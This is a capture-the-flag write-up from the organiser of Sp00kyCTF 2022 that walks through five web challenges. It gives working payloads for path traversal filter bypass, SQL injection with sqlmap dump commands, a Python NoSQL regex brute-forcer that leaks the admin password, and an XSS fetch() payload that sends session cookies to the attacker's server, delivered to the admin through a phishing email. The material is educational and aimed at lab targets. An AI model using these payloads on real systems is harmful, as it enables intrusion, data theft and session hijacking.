Home Sp00kyCTF 2022 Reflection
Post
Cancel

Sp00kyCTF 2022 Reflection

Intro

Sp00kyCTF 2022 finished up the other weekend and it was a blast! I hope everyone had fun and learned at least one new technique or tool. This year around I was repsonsible for creating a lot more challenges compared to last year. Specifically I wanted to make sure we had a good variety of easy and difficult Web App challenges. This blog post will serve as a writeup for all of the challenges I did and a mini-debrief for anybody who didn’t catch the info at the end of the event.

Challenges

Web01: WEB 3.WOAH

This challenge was ment to be the easiest web challenge I created. However, nobody ended up solving it during the event and in retrospect I could have out more hints in the application for this challenge. The description of this challenge pointed users to a simple webpage with one field for user input.

Web01 Starting Page

The text on this page made it clear that it was loading webpages by the file path instead of going through proper routing middlewear. This should immediately peak a hackers interest and cause them to start thinking about LFI (local file inclusion). The only issue with LFI in this case is that nothing on this first page says exactly where the flag is. Without that information we would just be trying endless possible locations trying to find the flag.

The solution to this issue is hidden in the source of the challenges home page. Using inspect element on a browser the user is able to see a commented out html line that reviewls the flag is located at /flag.txt.

Web01 Source Code Hint

The next logical step for a user would be to enter /flag.txt into the load field box to try and get the flag. If this is submitted to the webserver the results are shown below.

Web01 Slash Filter

This error message is a hint to the user that / is a filtered character when it is placed at the front of the request. With this info, I expected users to begin thinking about common directory traversal attack technqiues. The most common type of directory traversal involves adding a large number of ../’s before the file you want to load to escape the current directory and get to the root of the file system. Submitting a query like ../../../../../flag.txt to the server results in this.

Web01 ../

The message provided with this entry hints that maybe ../ is being replaced with an empty string before loading the file. This theory can be tested by sending .../flag.txt and seeing that the resulting file that was searched for becomes .flag.txt confirming that ../ is being removed. This is the final piece of information needed to solve this challenge. The payload ....// when placed through the replacement filter described above would resolve to ../ after the middle ../ is removed and the outside characters are pushed togther. ..|../|/ -> ../.

Sending the request ....//....//....//....//....//....//flag.txt gets the flag.

Web01 Flag

1
sp00ky{I_r3a11y_th0ught_th15_wa5_security:'-(}

Web02: SQLi #1

This challenge directed users at a web application that is used to load blog posts from a database. Below is an example of that application loading the welcome blog post which gives the name of the database software being used. There is also a hint that the first flag is hidden in a redacted blog post title.

Web02 Intro

With this info users can enter special characters like ' and see an error produced by the database software

Web02 Error

After determining the quote to be used, it’s easy to enter ' or '1'='1 and get a listing of all of the posts in the databse. This shows a crazy post title with the body containing the flag.

Web02 Dump

This was the most solved web challenge and showed people the easiest form of SQL injection.

1
sp00ky{bbs_1st_sql1_vv_pr0ud}

Web03: SQLi #2

SQLi round 2, here we go. For this challenge users are linked to the same web challenge as Web02: SQLi #1 and told that there are secrets hidden in a different location on the database. In this case the different location is a seperate table from the one used to store posts. There was also a hint the could be bought for the challenge which told users to look into a tool called sqlmap.

The intended solution was to use burpsuite to capture the database query request and then feed that to sqlmap to automatically dump the contents of all of the tables on the databse. I didn’t test if it was possible to do this exfiltration manually, but I’m guessing it would either be incredibly difficult, if not down right impossible.

To start this solve I fired up burpsuite and opened the blog form in the built in browser. From there I made sure intercept was on and submitted the request with a random payload. You can see the captured request in the screenshot below.

Web03 Burp

With this request in hand I replaced the payload testing with a single * to make using sqlmap a bit easier. I then right-clicked the request in burpsuite and chose copy to file and named it sqli.tmp.

With the request saved off as a file I was able to run sqlmap on it to automatically detect and exploit SQL injections. The command I used for this situation was

1
sqlmap --batch -r ./sqli.tmp

In this command --batch auto answers all of the prompts in sqlmap to make the process faster and -r is for specifying a request file instead of making a new request. When sqlmap runs it will produce a lot of output and a ton of traffic to the targeted website. The most important output comes at the end where it tells you what parameters if any are vulnerable to injection and what type of injection they are vulnerable to.

Web03 sqlmap

In this example you can see that sqlmap identified the parameter myfile as injectable using a time-based blind injection. All this means is that there is no actual data returned from the injection so intead sqlmap has to use different combinations of sleep functions and boolean operations to leak data slowly over time.

After finding this initial injection point we can then specify different parts of the database using differnet arguments to sqlmap.

The command:

1
sqlmap --tables --batch -r ./sqli.tmp

will dump all of the tables we currently have access to.

Web03 tables

Now we can see that there is in fact an additional table we have access to called secretsSHHHHHH. Now that we have access to that table we can run another sqlmap command to dump the contents of that table.

The command:

1
sqlmap -T secretsSHHHHHH --batch --dump -r ./sqli.tmp

will dump all of the individual entries in the secretsSHHHHHH table. In general sqlmap arugments are --name to enumerate all or -n name to specify one specific one to dump.

Web03 flags

Because this injection is a time-based blind injection it may take several minutes for sqlmap to fully dump the value stored in the table. However after this is finished we are left with our final answer to this challenge.

1
sp00ky{b_h0n3st_2qlm4p?}

Web04: Mangos for Me

Web04 points users to a new web app that comes with a login page and a description of a new database software being used to store different types of mangos. This challenge was intended to be the second most difficult challenge and it was not solved during the event.

Web04 start

The steps for solving this challenge can be generally thought of as 3 steps:

  1. Get a valid injection
  2. Dump all of the users
  3. Leak the password of the admin user

Step 1: Finding an injection

Based on the challenges that came before this one I would expect users to attempt differnent types of normal SQL injection. Submitting things like '. ", ;, or && wont result in any errors and should give users a hint that this probably isn’t a standard SQL implementation. The name of the challenge and the constant references to mangos was ment to be a hint at the backend software being used whichis mongoDB.

mongoDB is a nosql database that relys on json like queries. The example below would be a valid query and something similar to what is happening on this login page.

1
2
3
4
{
    "username":"david",
    "password":"test"
}

This query will select all of the entries where the username is equal to david and the password is equal to test. There are tons of examples online of different nosql injections for bypassing logins. A good starting query for finding an injection in this case would be entering david as the username and {"$ne":"a"} as the password. With a password like that our full nosql query would look something like this.

1
2
3
4
5
6
7
{
    "username":"david",
    "password":
        {
            "$ne":"a"
        }
}

mongoDB will interpret this as selecting all entries where the username is equal to david and the password is NOT equal to a. $ne is nosql key for not equal. Submitting this query on the web app results in the follow data being returned.

Web04 first injection

This shows that we have nosql injection since the user david exists with a password that is not equal to a. From here we can move onto step2.

Step 2: Dumping Users

Now that we have injection, we can work on dumping all of the users to find the admin user. This is as easy as copying our injection from the password field and pasting it into the username field. This query will find all of the entries that have usernames not equal to a and the password not equal to a.

Web04 all users

Here we can see that there is a user with the name Alphonso with the role of admin. That’s step 2 done, onto step 3.

Step 3: Leak the Password

While we were able to leak all of the users on the database… there isn’t any information about the passwords for these users. However, now that we have the username of the admin we’re looking for, we can start playing around with the password field.

We’ve used $ne as an injection technique enough for this challenge, let’s look at a different injection method. $regex in nosql is a way of incorporating regular expression into queries. An easy way to demonstrate this injection is with the payload {"$regex":"^.*"}. Submitting this query with the username Alphonso` shows us that admin user account.

Web04 simple regex

This may look exactly like what happened last time using $ne but it’s actually much more powerful. The characters in our regex allow us to check the password one character at a time. the ^ character indicates the start of the string and .* means any character any number of times. So this simple regex query will always match any password. If we change the regex to something like ^sp00ky{.* it will only match passwords that start with sp00ky{ and end with any other characters. Submitting this query to the app still returns our admin user!

Web04 better regex

Now we know the admin password starts with sp00ky{ and that makes a lot of sense since we know the end goal is to get the flag which is the password. From here it’s possible to write a simple python program to brute force each individual character of the password until you find the ending } of the flag. Here is the quickest solution I could come up with while stuck alone in this dorm room. We have to filter out some regex specific characters to make sure the query doesn’t end up always returning true. After that it’s just checking one character at a time for to see if the user account has been returned

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import string

currFlag = "sp00ky{"

while(currFlag[-1] != "}"):
    for character in string.printable:
        if(character == "*" or character == "+" or character == "." or character == "?" or character == "\\" or character == "|"):
            continue
        payload = [{"name":"usernameField","value":"Alphonso"},{"name":"passwordField","value":"{\"$regex\":\"^"+currFlag+character+".*\"}"}]
        r = requests.post("http://127.0.0.1:5000/web03", json=payload)
        if("Alphonso" in r.text):
            currFlag = currFlag + character
            print(currFlag)

Web04 Solver Output

1
sp00ky{n0_sQl_N0_Pr0b13m}

Web05: Snowboard Challenge

This was the challenge I designed to be the most difficult. It ended up having one solve during the competition which was really exciting to see. The challenge descriptions and hints pointed users to a website where they could make an account, login, and share custom webpages with other people via urls. After the user creates an account they are greated with this profile page.

Web05 User Profile

Here we can see some information about the account as well as a flag value that appears to have been redacted due to the fact that our new user is not an admin. This should point users towards the idea of either modifying our user account type value to be admin or to steal an admin users session cookie. After making an account, users are pointed towards a web application designed to make and share webpages.

Web05 Webpage Sharing

Here if a user enters some message or valid html and clicks Submit a link will be generated that can be browsed to in order to view the rendered html. A sample link generated by this page would look like this:

1
127.0.0.1:5000/web04?q=JTNDaDElM0VUZXN0aW5nJTNDJTJGaDElM0UlMEQlMEElM0NwK3N0eWxlJTNEJTIyY29sb3IlM0FyZWQlMjIlM0VkYXZpZCtpcytjb29sJTNDJTJGcCUzRQ%3D%3D

The query string in this example is the user entered content with base64 and url encoding applied to it. The unencoded payload is shown below.

1
2
<h1>Testing</h1>
<p style="color:red">david is cool</p>

If a user then browses to this url they will be shown the following output.

Web05 Rendered Webpage

With this functionality discovered it should point users in the direction of XSS (Cross Site Scripting) exploits. In short, XSS involves rendering attacker controlled javascript in a victims browser generally through unsanitized input to the web server. This attack path exploits the trust a browser has in the content coming from the web server. Your browser isn’t able to determine what is user input and what is valid html to be rendered when it all comes from the web server in one request. A very simple XSS payload involves using the javascript aler() function to display a site’s session cookies. This can be accomplished by generating a url with the query string set to the following html.

1
<script>alert(document.cookie)</script>
1
127.0.0.1:5000/web04?q=JTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQyUyRnNjcmlwdCUzRQ%3D%3D

When this url is visited the user will be shown a list of all the current cookies associated with the site they are visiting. In this list of cookies we can see the session cookie for our current users login.

Web05 Simple XSS

While it’s not very remarkable to see our own session cookie, it would be very interesting if we could get an admin to click on a link and recieve THEIR session cookie. If we could do that we could replace our session with the admin session and hopfully be able to read the flag value from their profile. Lucky for us there is a message at the bottom of this url generator page that says the admin will be checking his email for fancy new webpages to visit. This should hint to users that a specially crafted url sent to the admin’s email will result in us running javascript in the admin’s browser.

The issue here is that we can’t simply use alert() to show the admin cookies since that will only be visable to the admin. Instead we will need a way to send their cookies to our machine. The payload for this remote exploit is slightly more complex than the simple alert() payload we used previously. The easiest way to get javascript to send the admin session cookie to use is to use a simple python http server.

Setting up a python web server is incredibly easy from the terminal. Just run python3 -m http.server and python will begin listening on port 8000 for any http requests. Because this CTF was happening in person and we were all on the same network it’s possible for the admin user to visit our python webserver from their browser. Now that this is running we just need the javascript to make a request to our web server and send us the cookies. The easiest way to make an http request in javascript is using the fetch() function. We can make a GET request with this simple html payload:

1
<script>fetch("http://192.168.1.123:8000/davidiscool")</script>

If we use this payload to generate a url and visit it we see the following access logs from our python web server. Highlighted in this log is the endpoint davidiscool attempting to be accessed from the victims browser.

Web05 Python log message

Now we just need to append the session cookie value as the endpoint and we should be able to see that in our http logs. We can test this on our own user with the following payload:

1
<script>fetch("http://192.168.1.123:8000/"+document.cookie)</script>

Web05 Session Logs

There we go! We now have a link that, when clicked, will send all of a user’s currently set cookies to our computer. If we take this url, embed it in a phishing email, and send it to the admin of the website we should be able to steal their session cookie. Sending that off and waiting for David to refresh his email results in us getting an admin level session cookie. Replacing our session cookie with the stolen one allows us to view the profile of an admin user.

Web05 Admin Profile

1
sp00ky{n0w_yOu'r3_th1nk1n6_w1th_XSS}
This post is licensed under CC BY 4.0 by the author.